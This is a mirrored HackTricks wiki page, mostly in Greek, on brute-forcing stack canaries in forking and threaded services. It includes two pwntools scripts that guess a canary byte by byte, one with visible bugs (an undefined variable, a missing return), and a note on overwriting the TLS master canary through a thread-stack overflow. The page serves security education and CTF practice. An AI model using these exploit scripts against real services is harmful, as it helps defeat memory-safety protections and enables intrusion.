mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
120 lines
7.1 KiB
Markdown
120 lines
7.1 KiB
Markdown
# BF Forked & Threaded Stack Canaries
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|
||
|
||
**Αν αντιμετωπίζετε ένα δυαδικό αρχείο που προστατεύεται από ένα canary και PIE (Position Independent Executable) πιθανότατα χρειάζεστε να βρείτε έναν τρόπο να τα παρακάμψετε.**
|
||
|
||
.png>)
|
||
|
||
> [!TIP]
|
||
> Σημειώστε ότι **`checksec`** μπορεί να μην αναγνωρίσει ότι ένα δυαδικό αρχείο προστατεύεται από ένα canary αν αυτό έχει μεταγλωττιστεί στατικά και δεν είναι ικανό να αναγνωρίσει τη λειτουργία.\
|
||
> Ωστόσο, μπορείτε να το παρατηρήσετε χειροκίνητα αν βρείτε ότι μια τιμή αποθηκεύεται στο στοίβα στην αρχή μιας κλήσης λειτουργίας και αυτή η τιμή ελέγχεται πριν την έξοδο.
|
||
|
||
## Brute force Canary
|
||
|
||
Ο καλύτερος τρόπος για να παρακάμψετε ένα απλό canary είναι αν το δυαδικό αρχείο είναι ένα πρόγραμμα **που δημιουργεί παιδικές διεργασίες κάθε φορά που δημιουργείτε μια νέα σύνδεση** με αυτό (υπηρεσία δικτύου), γιατί κάθε φορά που συνδέεστε σε αυτό **θα χρησιμοποιείται το ίδιο canary**.
|
||
|
||
Έτσι, ο καλύτερος τρόπος για να παρακάμψετε το canary είναι απλά να **το παρακάμψετε με brute-force χαρακτήρα προς χαρακτήρα**, και μπορείτε να καταλάβετε αν το μαντεμένο byte του canary ήταν σωστό ελέγχοντας αν το πρόγραμμα έχει καταρρεύσει ή συνεχίζει τη κανονική του ροή. Σε αυτό το παράδειγμα η λειτουργία **παρακάμπτει ένα canary 8 Bytes (x64)** και διακρίνει μεταξύ ενός σωστά μαντεμένου byte και ενός κακού byte απλά **ελέγχοντας** αν μια **απάντηση** επιστρέφεται από τον διακομιστή (ένας άλλος τρόπος σε **άλλη κατάσταση** θα μπορούσε να είναι η χρήση ενός **try/except**):
|
||
|
||
### Example 1
|
||
|
||
Αυτό το παράδειγμα έχει υλοποιηθεί για 64 bits αλλά θα μπορούσε να υλοποιηθεί εύκολα και για 32 bits.
|
||
```python
|
||
from pwn import *
|
||
|
||
def connect():
|
||
r = remote("localhost", 8788)
|
||
|
||
def get_bf(base):
|
||
canary = ""
|
||
guess = 0x0
|
||
base += canary
|
||
|
||
while len(canary) < 8:
|
||
while guess != 0xff:
|
||
r = connect()
|
||
|
||
r.recvuntil("Username: ")
|
||
r.send(base + chr(guess))
|
||
|
||
if "SOME OUTPUT" in r.clean():
|
||
print "Guessed correct byte:", format(guess, '02x')
|
||
canary += chr(guess)
|
||
base += chr(guess)
|
||
guess = 0x0
|
||
r.close()
|
||
break
|
||
else:
|
||
guess += 1
|
||
r.close()
|
||
|
||
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
|
||
return base
|
||
|
||
canary_offset = 1176
|
||
base = "A" * canary_offset
|
||
print("Brute-Forcing canary")
|
||
base_canary = get_bf(base) #Get yunk data + canary
|
||
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
||
```
|
||
### Παράδειγμα 2
|
||
|
||
This is implemented for 32 bits, but this could be easily changed to 64bits.\
|
||
Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload.
|
||
```python
|
||
from pwn import *
|
||
|
||
# Here is the function to brute force the canary
|
||
def breakCanary():
|
||
known_canary = b""
|
||
test_canary = 0x0
|
||
len_bytes_to_read = 0x21
|
||
|
||
for j in range(0, 4):
|
||
# Iterate up to 0xff times to brute force all posible values for byte
|
||
for test_canary in range(0xff):
|
||
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
|
||
|
||
# Send the current input size
|
||
target.send(len_bytes_to_read.to_bytes(1, "little"))
|
||
|
||
# Send this iterations canary
|
||
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
|
||
|
||
# Scan in the output, determine if we have a correct value
|
||
output = target.recvuntil(b"exit.")
|
||
if b"YUM" in output:
|
||
# If we have a correct value, record the canary value, reset the canary value, and move on
|
||
print(" - next byte is: " + hex(test_canary))
|
||
known_canary = known_canary + test_canary.to_bytes(1, "little")
|
||
len_bytes_to_read += 1
|
||
break
|
||
|
||
# Return the canary
|
||
return known_canary
|
||
|
||
# Start the target process
|
||
target = process('./feedme')
|
||
#gdb.attach(target)
|
||
|
||
# Brute force the canary
|
||
canary = breakCanary()
|
||
log.info(f"The canary is: {canary}")
|
||
```
|
||
## Threads
|
||
|
||
Οι νήματα της ίδιας διαδικασίας θα **μοιράζονται το ίδιο canary token**, επομένως θα είναι δυνατό να **brute-forc**e ένα canary αν το δυαδικό δημιουργεί ένα νέο νήμα κάθε φορά που συμβαίνει μια επίθεση.
|
||
|
||
Επιπλέον, μια **υπερχείλιση buffer σε μια θηλυκή συνάρτηση** που προστατεύεται με canary θα μπορούσε να χρησιμοποιηθεί για να **τροποποιήσει το κύριο canary που αποθηκεύεται στο TLS**. Αυτό συμβαίνει επειδή, μπορεί να είναι δυνατό να φτάσουμε στη θέση μνήμης όπου αποθηκεύεται το TLS (και επομένως, το canary) μέσω μιας **bof στο stack** ενός νήματος.\
|
||
Ως αποτέλεσμα, η μείωση είναι άχρηστη επειδή ο έλεγχος χρησιμοποιείται με δύο canaries που είναι τα ίδια (αν και τροποποιημένα).\
|
||
Αυτή η επίθεση εκτελείται στην αναφορά: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||
|
||
Δείτε επίσης την παρουσίαση του [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) που αναφέρει ότι συνήθως το **TLS** αποθηκεύεται με **`mmap`** και όταν δημιουργείται ένα **stack** ενός **νήματος** δημιουργείται επίσης από `mmap` σύμφωνα με αυτό, το οποίο μπορεί να επιτρέπει την υπερχείλιση όπως φαίνεται στην προηγούμενη αναφορά.
|
||
|
||
## Other examples & references
|
||
|
||
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
|
||
- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|